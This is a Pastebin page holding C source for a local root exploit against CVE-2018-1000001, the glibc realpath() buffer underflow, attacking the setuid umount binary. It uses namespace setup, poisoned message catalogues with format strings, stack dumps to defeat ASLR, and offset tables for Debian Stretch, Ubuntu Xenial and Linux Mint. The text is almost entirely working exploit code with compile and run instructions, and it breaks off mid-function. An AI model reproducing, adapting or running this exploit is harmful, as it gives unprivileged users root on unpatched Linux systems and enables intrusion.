Advertisement
AZZATSSINS_CYBERSERK

CVE-2018-1000001

Mar 10th, 2018
660
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 35.41 KB | None | 0 0
  1. /** This software is provided by the copyright owner "as is" and any
  2.  *  expressed or implied warranties, including, but not limited to,
  3.  *  the implied warranties of merchantability and fitness for a particular
  4.  *  purpose are disclaimed. In no event shall the copyright owner be
  5.  *  liable for any direct, indirect, incidential, special, exemplary or
  6.  *  consequential damages, including, but not limited to, procurement
  7.  *  of substitute goods or services, loss of use, data or profits or
  8.  *  business interruption, however caused and on any theory of liability,
  9.  *  whether in contract, strict liability, or tort, including negligence
  10.  *  or otherwise, arising in any way out of the use of this software,
  11.  *  even if advised of the possibility of such damage.
  12.  *
  13.  *  Copyright (c) 2018 halfdog <me (%) halfdog.net>
  14.  *  See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
  15.  *
  16.  *  This tool exploits a buffer underflow in glibc realpath()
  17.  *  and was tested against latest release from Debian, Ubuntu
  18.  *  Mint. It is intended as demonstration of ASLR-aware exploitation
  19.  *  techniques. It uses relative binary offsets, that may be different
  20.  *  for various Linux distributions and builds. Please send me
  21.  *  a patch when you developed a new set of parameters to add
  22.  *  to the osSpecificExploitDataList structure and want to contribute
  23.  *  them.
  24.  *
  25.  *  Compile: gcc -o RationalLove RationalLove.c
  26.  *  Run: ./RationalLove
  27.  *
  28.  *  You may also use "--Pid" parameter, if you want to test the
  29.  *  program on already existing namespaced or chrooted mounts.
  30.  */
  31. #define _GNU_SOURCE
  32. #include <assert.h>
  33. #include <errno.h>
  34. #include <fcntl.h>
  35. #include <limits.h>
  36. #include <poll.h>
  37. #include <sched.h>
  38. #include <stdio.h>
  39. #include <stdlib.h>
  40. #include <string.h>
  41. #include <sys/mount.h>
  42. #include <sys/stat.h>
  43. #include <sys/wait.h>
  44. #include <time.h>
  45. #include <unistd.h>
  46. #define UMOUNT_ENV_VAR_COUNT 256
  47. /** Dump that number of bytes from stack to perform anti-ASLR.
  48.  *  This number should be high enough to reproducible reach the
  49.  *  stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
  50.  *  environment variable references but low enough to avoid hitting
  51.  *  upper stack limit, which would cause a crash.
  52.  */
  53. #define STACK_LONG_DUMP_BYTES 4096
  54. char *messageCataloguePreamble="Language: en\n"
  55.     "MIME-Version: 1.0\n"
  56.     "Content-Type: text/plain; charset=UTF-8\n"
  57.     "Content-Transfer-Encoding: 8bit\n";
  58. /** The pid of a namespace process with the working directory
  59.  *  at a writable /tmp only visible by the process. */
  60. pid_t namespacedProcessPid=-1;
  61. int killNamespacedProcessFlag=1;
  62. /** The pathname to the umount binary to execute. */
  63. char *umountPathname;
  64. /** The pathname to the named pipe, that will synchronize umount
  65.  *  binary with supervisory process before triggering the second
  66.  *  and last exploitation phase.
  67.  */
  68. char *secondPhaseTriggerPipePathname;
  69. /** The pathname to the second phase exploitation catalogue file.
  70.  *  This is needed as the catalogue cannot be sent via the trigger
  71.  *  pipe from above.
  72.  */
  73. char *secondPhaseCataloguePathname;
  74. /** The OS-release detected via /etc/os-release. */
  75. char *osRelease=NULL;
  76. /** This table contains all relevant information to adapt the
  77.  *  attack to supported Linux distros (fully updated) to support
  78.  *  also older versions, hash of umount/libc/libmount should be
  79.  *  used also for lookups.
  80.  *  The 4th string is an array of 4-byte integers with the offset
  81.  *  values for format string generation. Values specify:
  82.  *  * Stack position (in 8 byte words) for **argv
  83.  *  * Stack position of argv[0]
  84.  *  * Offset from __libc_start_main return position from main()
  85.  *    and system() function, first instruction after last sigprocmask()
  86.  *    before execve call.
  87.  */
  88. #define ED_STACK_OFFSET_CTX 0
  89. #define ED_STACK_OFFSET_ARGV 1
  90. #define ED_STACK_OFFSET_ARG0 2
  91. #define ED_LIBC_GETDATE_DELTA 3
  92. #define ED_LIBC_EXECL_DELTA 4
  93. static char* osSpecificExploitDataList[]={
  94. // Debian Stretch
  95.     "\"9 (stretch)\"",
  96.     "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
  97.     "from_archive",
  98. // Delta for Debian Stretch "2.24-11+deb9u1"
  99.     "\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
  100. // Ubuntu Xenial libc=2.23-0ubuntu9
  101.     "\"16.04.3 LTS (Xenial Xerus)\"",
  102.     "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
  103.     "_nl_load_locale_from_archive",
  104.     "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
  105. // Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
  106.     "\"18.3 (Sylvia)\"",
  107.     "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
  108.     "_nl_load_locale_from_archive",
  109.     "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
  110.     NULL};
  111. char **osReleaseExploitData=NULL;
  112. /** Locate the umount binary within the given search path list,
  113.  *  elements separated by colons.
  114.  *  @return a pointer to a malloced memory region containing the
  115.  *  string or NULL if not found.
  116.  */
  117. char* findUmountBinaryPathname(char *searchPath) {
  118.   char *testPathName=(char*)malloc(PATH_MAX);
  119.   assert(testPathName);
  120.   while(*searchPath) {
  121.     char *endPtr=strchr(searchPath, ':');
  122.     int length=endPtr-searchPath;
  123.     if(!endPtr) {
  124.       length=strlen(searchPath);
  125.       endPtr=searchPath+length-1;
  126.     }
  127.     int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
  128.         searchPath, "umount");
  129.     if(result>=PATH_MAX) {
  130.       fprintf(stderr, "Binary search path element too long, ignoring it.\n");
  131.     } else {
  132.       struct stat statBuf;
  133.       result=stat(testPathName, &statBuf);
  134. // Just assume, that umount is owner-executable. There might be
  135. // alternative ACLs, which grant umount execution only to selected
  136. // groups, but it would be unusual to have different variants
  137. // of umount located searchpath on the same host.
  138.       if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
  139.         return(testPathName);
  140.       }
  141.     }
  142.     searchPath=endPtr+1;
  143.   }
  144.   free(testPathName);
  145.   return(NULL);
  146. }
  147. /** Get the value for a given field name.
  148.  *  @return NULL if not found, a malloced string otherwise.
  149.  */
  150. char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
  151.   int nameLength=strlen(fieldName);
  152.   while(dataLength>0) {
  153.     char *nextPos=memchr(releaseData, '\n', dataLength);
  154.     int lineLength=dataLength;
  155.     if(nextPos) {
  156.       lineLength=nextPos-releaseData;
  157.       nextPos++;
  158.     } else {
  159.       nextPos=releaseData+dataLength;
  160.     }
  161.     if((!strncmp(releaseData, fieldName, nameLength))&&
  162.         (releaseData[nameLength]=='=')) {
  163.       return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
  164.     }
  165.     releaseData=nextPos;
  166.     dataLength-=lineLength;
  167.   }
  168.   return(NULL);
  169. }
  170. /** Detect the release by reading the VERSION field from /etc/os-release.
  171.  *  @return 0 on success.
  172.  */
  173. int detectOsRelease() {
  174.   int handle=open("/etc/os-release", O_RDONLY);
  175.   if(handle<0)
  176.     return(-1);
  177.   char *buffer=alloca(1024);
  178.   int infoLength=read(handle, buffer, 1024);
  179.   close(handle);
  180.   if(infoLength<0)
  181.     return(-1);
  182.   osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
  183.   if(!osRelease)
  184.     osRelease=getReleaseFileField(buffer, infoLength, "NAME");
  185.   if(osRelease) {
  186.     fprintf(stderr, "Detected OS version: %s\n", osRelease);
  187.     return(0);
  188.   }
  189.   return(-1);
  190. }
  191. /** Create the catalogue data in memory.
  192.  *  @return a pointer to newly allocated catalogue data memory
  193.  */
  194. char* createMessageCatalogueData(char **origStringList, char **transStringList,
  195.     int stringCount, int *catalogueDataLength) {
  196.   int contentLength=strlen(messageCataloguePreamble)+2;
  197.   for(int stringPos=0; stringPos<stringCount; stringPos++) {
  198.     contentLength+=strlen(origStringList[stringPos])+
  199.         strlen(transStringList[stringPos])+2;
  200.   }
  201.   int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
  202.   char *catalogueData=(char*)malloc(preambleLength+contentLength);
  203.   memset(catalogueData, 0, preambleLength);
  204.   int *preambleData=(int*)catalogueData;
  205.   *preambleData++=0x950412de;
  206.   preambleData++;
  207.   *preambleData++=stringCount+1;
  208.   *preambleData++=0x1c;
  209.   *preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
  210.   *preambleData++=0x5;
  211.   *preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;
  212.   char *nextCatalogueStringStart=catalogueData+preambleLength;
  213.   for(int stringPos=-1; stringPos<stringCount; stringPos++) {
  214.     char *writeString=(stringPos<0)?"":origStringList[stringPos];
  215.     int length=strlen(writeString);
  216.     *preambleData++=length;
  217.     *preambleData++=(nextCatalogueStringStart-catalogueData);
  218.     memcpy(nextCatalogueStringStart, writeString, length+1);
  219.     nextCatalogueStringStart+=length+1;
  220.   }
  221.   for(int stringPos=-1; stringPos<stringCount; stringPos++) {
  222.     char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
  223.     int length=strlen(writeString);
  224.     *preambleData++=length;
  225.     *preambleData++=(nextCatalogueStringStart-catalogueData);
  226.     memcpy(nextCatalogueStringStart, writeString, length+1);
  227.     nextCatalogueStringStart+=length+1;
  228.   }
  229.   assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
  230.   for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
  231. //    *preambleData++=(stringPos+1);
  232.     *preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
  233.   }
  234.   *catalogueDataLength=preambleLength+contentLength;
  235.   return(catalogueData);
  236. }
  237. /** Create the catalogue data from the string lists and write
  238.  *  it to the given file.
  239.  *  @return 0 on success.
  240.  */
  241. int writeMessageCatalogue(char *pathName, char **origStringList,
  242.     char **transStringList, int stringCount) {
  243.   int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
  244.   if(catalogueFd<0) {
  245.     fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
  246.         pathName);
  247.     return(-1);
  248.   }
  249.   int catalogueDataLength;
  250.   char *catalogueData=createMessageCatalogueData(
  251.       origStringList, transStringList, stringCount, &catalogueDataLength);
  252.   int result=write(catalogueFd, catalogueData, catalogueDataLength);
  253.   assert(result==catalogueDataLength);
  254.   close(catalogueFd);
  255.   free(catalogueData);
  256.   return(0);
  257. }
  258. void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
  259.   char pathBuffer[PATH_MAX];
  260.   int pathNameLength=0;
  261.   while(1) {
  262.     char *nextPathSep=strchr(pathName+pathNameLength, '/');
  263.     if(nextPathSep) {
  264.       pathNameLength=nextPathSep-pathName;
  265.     } else {
  266.       pathNameLength=strlen(pathName);
  267.     }
  268.     int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
  269.         namespaceMountBaseDir, pathNameLength, pathName);
  270.     assert(result<PATH_MAX);
  271.     result=mkdir(pathBuffer, 0755);
  272.     assert((!result)||(errno==EEXIST));
  273.     if(!pathName[pathNameLength])
  274.       break;
  275.     pathNameLength++;
  276.   }
  277. }
  278. /** This child function prepares the namespaced mount point and
  279.  *  then waits to be killed later on.
  280.  */
  281. static int usernsChildFunction() {
  282.   while(geteuid()!=0) {
  283.     sched_yield();
  284.   }
  285.   int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
  286.   assert(!result);
  287.   assert(!chdir("/tmp"));
  288.   int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
  289.   assert(handle>=0);
  290.   close(handle);
  291.   sleep(100000);
  292. }
  293. /** Prepare a process living in an own mount namespace and setup
  294.  *  the mount structure appropriately. The process is created
  295.  *  in a way allowing cleanup at program end by just killing it,
  296.  *  thus removing the namespace.
  297.  *  @return the pid of that process or -1 on error.
  298.  */
  299. pid_t prepareNamespacedProcess() {
  300.   if(namespacedProcessPid==-1) {
  301.     fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");
  302.     char *stackData=(char*)malloc(1<<20);
  303.     assert(stackData);
  304.     namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
  305.         CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
  306.     if(namespacedProcessPid==-1) {
  307.       fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
  308.       return(-1);
  309.     }
  310.     char idMapFileName[128];
  311.     char idMapData[128];
  312.     sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
  313.     int setGroupsFd=open(idMapFileName, O_WRONLY);
  314.     assert(setGroupsFd>=0);
  315.     int result=write(setGroupsFd, "deny", 4);
  316.     assert(result>0);
  317.     close(setGroupsFd);
  318.     sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
  319.     int uidMapFd=open(idMapFileName, O_WRONLY);
  320.     assert(uidMapFd>=0);
  321.     sprintf(idMapData, "0 %d 1\n", getuid());
  322.     result=write(uidMapFd, idMapData, strlen(idMapData));
  323.     assert(result>0);
  324.     close(uidMapFd);
  325.     sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
  326.     int gidMapFd=open(idMapFileName, O_WRONLY);
  327.     assert(gidMapFd>=0);
  328.     sprintf(idMapData, "0 %d 1\n", getgid());
  329.     result=write(gidMapFd, idMapData, strlen(idMapData));
  330.     assert(result>0);
  331.     close(gidMapFd);
  332. // After setting the maps for the child process, the child may
  333. // start setting up the mount point. Wait for that to complete.
  334.     sleep(1);
  335.     fprintf(stderr, "Namespaced filesystem created with pid %d\n",
  336.         namespacedProcessPid);
  337.   }
  338.   osReleaseExploitData=osSpecificExploitDataList;
  339.   if(osRelease) {
  340. // If an OS was detected, try to find it in list. Otherwise use
  341. // default.
  342.     for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
  343.       if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
  344.         osReleaseExploitData=osSpecificExploitDataList+tPos;
  345.         break;
  346.       }
  347.     }
  348.   }
  349.   char pathBuffer[PATH_MAX];
  350.   int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
  351.      namespacedProcessPid);
  352.   assert(result<PATH_MAX);
  353.   char *namespaceMountBaseDir=strdup(pathBuffer);
  354.   assert(namespaceMountBaseDir);
  355. // Create directories needed for umount to proceed to final state
  356. // "not mounted".
  357.   createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
  358.   result=snprintf(pathBuffer, sizeof(pathBuffer),
  359.       "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
  360.   assert(result<PATH_MAX);
  361.   createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  362.   result=snprintf(pathBuffer, sizeof(pathBuffer),
  363.       "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
  364.   createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  365.   result=snprintf(pathBuffer, sizeof(pathBuffer),
  366.       "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
  367.   createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  368. // Create symlink to trigger underflows.
  369.   result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
  370.       namespaceMountBaseDir);
  371.   assert(result<PATH_MAX);
  372.   result=symlink(osReleaseExploitData[1], pathBuffer);
  373.   assert(!result||(errno==EEXIST));
  374. // getdate will leave that string in rdi to become the filename
  375. // to execute for the next round.
  376.   char *selfPathName=realpath("/proc/self/exe", NULL);
  377.   result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
  378.       namespaceMountBaseDir);
  379.   assert(result<PATH_MAX);
  380.   int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
  381.   assert(handle>0);
  382.   result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
  383.       selfPathName);
  384.   assert(result<PATH_MAX);
  385.   result=write(handle, pathBuffer, result);
  386.   close(handle);
  387.   free(selfPathName);
  388. // Write the initial message catalogue to trigger stack dumping
  389. // and to make the "umount" call privileged by toggling the "restricted"
  390. // flag in the context.
  391.   result=snprintf(pathBuffer, sizeof(pathBuffer),
  392.       "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
  393.       namespaceMountBaseDir, osReleaseExploitData[2]);
  394.   assert(result<PATH_MAX);
  395.   char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
  396.   assert(stackDumpStr);
  397.   char *stackDumpStrEnd=stackDumpStr;
  398.   stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
  399.       ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
  400.   for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
  401.     memcpy(stackDumpStrEnd, "%016lx", 6);
  402.     stackDumpStrEnd+=6;
  403.   }
  404. // We wrote allready 8 bytes, write so many more to produce a
  405. // count of 'L' and write that to the stack. As all writes so
  406. // sum up to a count aligned by 8, and 'L'==0x4c, we will have
  407. // to write at least 4 bytes, which is longer than any "%hhx"
  408. // format string output. Hence do not care about the byte content
  409. // here. The target write address has a 16 byte alignment due
  410. // to varg structure.
  411.   stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
  412.       ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
  413.       STACK_LONG_DUMP_BYTES/16);
  414.   *stackDumpStrEnd=0;
  415.   result=writeMessageCatalogue(pathBuffer,
  416.       (char*[]){
  417.           "%s: mountpoint not found",
  418.           "%s: not mounted",
  419.           "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
  420.       },
  421.       (char*[]){"1234", stackDumpStr, "5678"},
  422.       3);
  423.   assert(!result);
  424.   free(stackDumpStr);
  425.   result=snprintf(pathBuffer, sizeof(pathBuffer),
  426.       "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
  427.       namespaceMountBaseDir, osReleaseExploitData[2]);
  428.   assert(result<PATH_MAX);
  429.   result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
  430.   assert((!result)||(errno==EEXIST));
  431.   secondPhaseTriggerPipePathname=strdup(pathBuffer);
  432.   result=snprintf(pathBuffer, sizeof(pathBuffer),
  433.       "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
  434.       namespaceMountBaseDir, osReleaseExploitData[2]);
  435.   secondPhaseCataloguePathname=strdup(pathBuffer);
  436.   free(namespaceMountBaseDir);
  437.   return(namespacedProcessPid);
  438. }
  439. /** Create the format string to write an arbitrary value to the
  440.  *  stack. The created format string avoids to interfere with
  441.  *  the complex fprintf format handling logic by accessing fprintf
  442.  *  internal state on stack. Thus the modification method does
  443.  *  not depend on that ftp internals. The current libc fprintf
  444.  *  implementation copies values for formatting before applying
  445.  *  the %n writes, therefore pointers changed by fprintf operation
  446.  *  can only be utilized with the next fprintf invocation. As
  447.  *  we cannot rely on a stack having a suitable number of pointers
  448.  *  ready for arbitrary writes, we need to create those pointers
  449.  *  one by one. Everything needed is pointer on stack pointing
  450.  *  to another valid pointer and 4 helper pointers pointing to
  451.  *  writeable memory. The **argv list matches all those requirements.
  452.  *  @param printfArgvValuePos the position of the argv pointer from
  453.  *  printf format string view.
  454.  *  @param argvStackAddress the address of the argv list, where
  455.  *  the argv[0] pointer can be read.
  456.  *  @param printfArg0ValuePos the position of argv list containing
  457.  *  argv[0..n] pointers.
  458.  *  @param mainFunctionReturnAddress the address on stack where
  459.  *  the return address from the main() function to _libc_start()
  460.  *  is stored.
  461.  *  @param writeValue the value to write to mainFunctionReturnAddress
  462.  */
  463. void createStackWriteFormatString(
  464.     char *formatBuffer, int bufferSize, int printfArgvValuePos,
  465.     void *argvStackAddress, int printfArg0ValuePos,
  466.     void *mainFunctionReturnAddress, unsigned short *writeData,
  467.     int writeDataLength) {
  468.   int result=0;
  469.   int currentValue=-1;
  470.   for(int nextWriteValue=0; nextWriteValue<0x10000;) {
  471. // Find the lowest value to write.
  472.     nextWriteValue=0x10000;
  473.     for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
  474.        int value=writeData[valuePos];
  475.        if((value>currentValue)&&(value<nextWriteValue))
  476.          nextWriteValue=value;
  477.     }
  478.     if(currentValue<0)
  479.       currentValue=0;
  480.     if(currentValue!=nextWriteValue) {
  481.       result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
  482.           nextWriteValue-currentValue);
  483.       formatBuffer+=result;
  484.       bufferSize-=result;
  485.       currentValue=nextWriteValue;
  486.     }
  487.     for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
  488.        if(writeData[valuePos]==nextWriteValue) {
  489.           result=snprintf(formatBuffer, bufferSize,
  490.               "%%%d$hn", printfArg0ValuePos+valuePos+1);
  491.           formatBuffer+=result;
  492.           bufferSize-=result;
  493.        }
  494.     }
  495.   }
  496. // Print the return function address location number of bytes
  497. // except 8 (those from the LABEL counter) and write the value
  498. // to arg1.
  499.   int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
  500.   result=snprintf(formatBuffer, bufferSize,
  501.       "%%1$%d.%ds%%1$s%%1$s%%%d$hn",
  502.       writeCount, writeCount, printfArg0ValuePos);
  503.   formatBuffer+=result;
  504.   bufferSize-=result;
  505. // Write the LABEL 6 more times, thus multiplying the the single
  506. // byte write pointer to an 8-byte aligned argv-list pointer and
  507. // update argv[0] to point to argv[1..n].
  508.   writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
  509.   result=snprintf(formatBuffer, bufferSize,
  510.       "%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
  511.       writeCount, writeCount, printfArgvValuePos);
  512.   formatBuffer+=result;
  513.   bufferSize-=result;
  514. // Append a debugging preamble.
  515.   result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
  516.       printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
  517.       printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
  518.       printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
  519.   formatBuffer+=result;
  520.   bufferSize-=result;
  521. }
  522. /** Wait for the trigger pipe to open. The pipe will be closed
  523.  *  immediately after opening it.
  524.  *  @return 0 when the pipe was opened before hitting a timeout.
  525.  */
  526. int waitForTriggerPipeOpen(char *pipeName) {
  527.   struct timespec startTime, currentTime;
  528.   int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
  529.   startTime.tv_sec+=10;
  530.   assert(!result);
  531.   while(1) {
  532.     int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
  533.     if(pipeFd>=0) {
  534.       close(pipeFd);
  535.       break;
  536.     }
  537.     result=clock_gettime(CLOCK_MONOTONIC, &currentTime);
  538.     if(currentTime.tv_sec>startTime.tv_sec) {
  539.       return(-1);
  540.     }
  541.     currentTime.tv_sec=0;
  542.     currentTime.tv_nsec=100000000;
  543.     nanosleep(&currentTime, NULL);
  544.   }
  545.   return(0);
  546. }
  547. /** Invoke umount to gain root privileges.
  548.  *  @return 0 if the umount process terminated with expected exit
  549.  *  status.
  550.  */
  551. int attemptEscalation() {
  552.   int escalationSuccess=-1;
  553.   char targetCwd[64];
  554.   snprintf(
  555.       targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);
  556.   int pipeFds[2];
  557.   int result=pipe(pipeFds);
  558.   assert(!result);
  559.   pid_t childPid=fork();
  560.   assert(childPid>=0);
  561.   if(!childPid) {
  562. // This is the child process.
  563.     close(pipeFds[0]);
  564.     fprintf(stderr, "Starting subprocess\n");
  565.     dup2(pipeFds[1], 1);
  566.     dup2(pipeFds[1], 2);
  567.     close(pipeFds[1]);
  568.     result=chdir(targetCwd);
  569.     assert(!result);
  570. // Create so many environment variables for a kind of "stack spraying".
  571.     int envCount=UMOUNT_ENV_VAR_COUNT;
  572.     char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
  573.     assert(umountEnv);
  574.     umountEnv[envCount--]=NULL;
  575.     umountEnv[envCount--]="LC_ALL=C.UTF-8";
  576.     while(envCount>=0) {
  577.       umountEnv[envCount--]="AANGUAGE=X.X";
  578.     }
  579. // Use the built-in C locale.
  580. // Invoke umount first by overwriting heap downwards using links
  581. // for "down", then retriggering another error message ("busy")
  582. // with hopefully similar same stack layout for other path "/".
  583.     char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
  584.     result=execve(umountArgs[0], umountArgs, umountEnv);
  585.     assert(!result);
  586.   }
  587.   close(pipeFds[1]);
  588.   int childStdout=pipeFds[0];
  589.   int escalationPhase=0;
  590.   char readBuffer[1024];
  591.   int readDataLength=0;
  592.   char stackData[STACK_LONG_DUMP_BYTES];
  593.   int stackDataBytes=0;
  594.   struct pollfd pollFdList[1];
  595.   pollFdList[0].fd=childStdout;
  596.   pollFdList[0].events=POLLIN;
  597. // Now learn about the binary, prepare data for second exploitation
  598. // phase. The phases should be:
  599. // * 0: umount executes, glibc underflows and causes an util-linux.mo
  600. //   file to be read, that contains a poisonous format string.
  601. //   Successful poisoning results in writing of 8*'A' preamble,
  602. //   we are looking for to indicate end of this phase.
  603. // * 1: The poisoned process writes out stack content to defeat
  604. //   ASLR. Reading all relevant stack end this phase.
  605. // * 2: The poisoned process changes the "LANGUAGE" parameter,
  606. //   thus triggering re-read of util-linux.mo. To avoid races,
  607. //   we let umount open a named pipe, thus blocking execution.
  608. //   As soon as the pipe is ready for writing, we write a modified
  609. //   version of util-linux.mo to another file because the pipe
  610. //   cannot be used for sending the content.
  611. // * 3: We read umount output to avoid blocking the process and
  612. //   wait for it to ROP execute fchown/fchmod and exit.
  613.   while(1) {
  614.     if(escalationPhase==2) {
  615. // We cannot use the standard poll from below to monitor the pipe,
  616. // but also we do not want to block forever. Wait for the pipe
  617. // in nonblocking mode and then continue with next phase.
  618.       result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
  619.       if(result) {
  620.         goto attemptEscalationCleanup;
  621.       }
  622.       escalationPhase++;
  623.     }
  624. // Wait at most 10 seconds for IO.
  625.     result=poll(pollFdList, 1, 10000);
  626.     if(!result) {
  627. // We ran into a timeout. This might be the result of a deadlocked
  628. // child, so kill the child and retry.
  629.       fprintf(stderr, "Poll timed out\n");
  630.       goto attemptEscalationCleanup;
  631.     }
  632. // Perform the IO operations without blocking.
  633.     if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
  634.       result=read(
  635.           pollFdList[0].fd, readBuffer+readDataLength,
  636.           sizeof(readBuffer)-readDataLength);
  637.       if(!result) {
  638.         if(escalationPhase<3) {
  639. // Child has closed the socket unexpectedly.
  640.           goto attemptEscalationCleanup;
  641.         }
  642.         break;
  643.       }
  644.       if(result<0) {
  645.         fprintf(stderr, "IO error talking to child\n");
  646.         goto attemptEscalationCleanup;
  647.       }
  648.       readDataLength+=result;
  649. // Handle the data depending on escalation phase.
  650.       int moveLength=0;
  651.       switch(escalationPhase) {
  652.         case 0: // Initial sync: read A*8 preamble.
  653.           if(readDataLength<8)
  654.             continue;
  655.           char *preambleStart=memmem(readBuffer, readDataLength,
  656.               "AAAAAAAA", 8);
  657.           if(!preambleStart) {
  658. // No preamble, move content only if buffer is full.
  659.             if(readDataLength==sizeof(readBuffer))
  660.               moveLength=readDataLength-7;
  661.             break;
  662.           }
  663. // We found, what we are looking for. Start reading the stack.
  664.           escalationPhase++;
  665.           moveLength=preambleStart-readBuffer+8;
  666.         case 1: // Read the stack.
  667. // Consume stack data until or local array is full.
  668.           while(moveLength+16<=readDataLength) {
  669.             result=sscanf(readBuffer+moveLength, "%016lx",
  670.                 (int*)(stackData+stackDataBytes));
  671.             if(result!=1) {
  672. // Scanning failed, the data injection procedure apparently did
  673. // not work, so this escalation failed.
  674.               goto attemptEscalationCleanup;
  675.             }
  676.             moveLength+=sizeof(long)*2;
  677.             stackDataBytes+=sizeof(long);
  678. // See if we reached end of stack dump already.
  679.             if(stackDataBytes==sizeof(stackData))
  680.               break;
  681.           }
  682.           if(stackDataBytes!=sizeof(stackData))
  683.             break;
  684. // All data read, use it to prepare the content for the next phase.
